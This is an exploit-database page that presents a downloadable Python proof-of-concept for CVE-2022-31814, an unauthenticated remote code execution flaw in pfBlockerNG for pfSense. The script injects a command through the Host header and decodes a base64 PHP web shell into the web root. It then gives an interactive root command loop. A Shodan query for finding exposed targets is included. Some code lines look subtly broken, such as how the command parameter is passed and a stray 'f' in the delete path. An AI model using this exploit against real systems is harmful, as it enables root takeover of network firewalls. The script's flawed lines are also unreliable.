Exploit database

GH-2a1a2dc043bae65cf1f2701ea21b6f92

theunknownsoul/cve-2022-31814

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-31814

10 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
theunknownsoul/cve-2022-31814Revision 2a12ab293a04

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Suggested starting filePython · 2,716 bytes
"""
Reworked and optimized exploit script of pfBlockerNG 2.1.4_26 vulnerability

Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
Shodan Results:
https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
Date: 5th of September 2022
Exploit Author: IHTeam
Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
Version: 2.1.4_26
Tested on: pfSense 2.6.0
CVE : CVE-2022-31814
Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
"""

import argparse
import sys
import time
import urllib.parse

import requests

parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument(
    "--url",
    action="store",
    dest="url",
    required=True,
    help="Full URL with port e.g.: https://127.0.0.1:443/",
)
args = parser.parse_args()

url = args.url

shell_filename = "system_advanced_control.php"


def check_endpoint(url):
    response = requests.get(f"{url}/pfblockerng/www/index.php", verify=False)
    if response.status_code == 200:
        print("[+] pfBlockerNG is installed")
    else:
        print("[-] pfBlockerNG isn't installed")
        sys.exit()


def upload_shell(url, shell_filename):
    payload = {
        "Host": "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.11 -m base64 -d | php; '"
    }
    print("[/] Uploading shell...")
    response = requests.get(f"{url}/pfblockerng/www/index.php", headers=payload, verify=False)
    time.sleep(2)
    response = requests.get(f"{url}" + shell_filename + "?c=id", verify=False)
    if "uid=0(root) gid=0(wheel)" in str(response.content, "utf-8"):
        print("[+] Upload succeeded")
    else:
        print("\n[-] Error uploading shell. Probably patched ", response.content)
    sys.exit()


def interactive_shell(url, shell_filename, cmd):
    response = requests.get(f"{url}/system_advanced_control.php?c=%s", urllib.parse.quote(cmd, safe=""), verify=False)
    print(str(response.text) + "\n")


def delete_shell(url, shell_filename):
    delcmd = "rm /usr/local/www/" + shell_filename
    response = requests.get(f"{url}/f{shell_filename}?c=%s", urllib.parse.quote(delcmd, safe=""), verify=False)
    print("\n[+] Shell deleted")


check_endpoint(url)
upload_shell(url, shell_filename)
try:
    while True:
        cmd = input("# ")
        interactive_shell(url, shell_filename, cmd)
except:
    delete_shell(url, shell_filename)